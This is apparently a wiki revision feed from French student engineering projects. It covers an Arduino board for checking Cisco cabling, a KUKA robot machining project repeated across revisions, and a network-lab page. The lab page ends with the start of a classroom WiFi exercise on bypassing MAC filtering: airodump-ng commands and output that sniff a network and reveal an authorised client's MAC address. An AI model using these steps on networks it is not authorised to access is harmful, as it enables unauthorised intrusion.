Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.&lt;br /&gt;
&lt;br /&gt;
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisation la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.&lt;br /&gt;
&lt;br /&gt;
Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons tester la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothéses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé serait mené sur la carte.&lt;br /&gt;
&lt;br /&gt;
=== Réalisation du code pour les appareil Cisco ===&lt;br /&gt;
&lt;br /&gt;
Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
show interfaces status | include INAME\ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui repond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche &amp;quot;entrée&amp;quot; possède sa propre liste de connections sur la SD, et ceci en correspondance avec la cablage que nous avons effectué dans le début de notre projet.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=23660</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=23660"/>
				<updated>2015-12-02T12:43:44Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=23471</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=23471"/>
				<updated>2015-11-30T14:26:47Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Avancement du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'un interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépose sur le support d’ajustement (2) &lt;br /&gt;
*Dépose sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépose sur le support de retournement (4) &lt;br /&gt;
*Dépose sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépose sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter l'ébavurage pour nettoyer le centre de fraisage entre chaque pièce (la buse est déjà présente sur le Kuka) ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:TestKR6.mp4&amp;diff=23470</id>
		<title>Fichier:TestKR6.mp4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:TestKR6.mp4&amp;diff=23470"/>
				<updated>2015-11-30T14:25:16Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : Test d'un programme simple réalisé sous Kuka Sim Pro.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Test d'un programme simple réalisé sous Kuka Sim Pro.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=23460</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=23460"/>
				<updated>2015-11-30T13:26:01Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Avancement du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'un interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépose sur le support d’ajustement (2) &lt;br /&gt;
*Dépose sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépose sur le support de retournement (4) &lt;br /&gt;
*Dépose sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépose sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter l'ébavurage pour nettoyer le centre de fraisage entre chaque pièce (la buse est déjà présente sur le Kuka) ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23248</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23248"/>
				<updated>2015-11-25T13:01:25Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* La partie bonus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Les tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
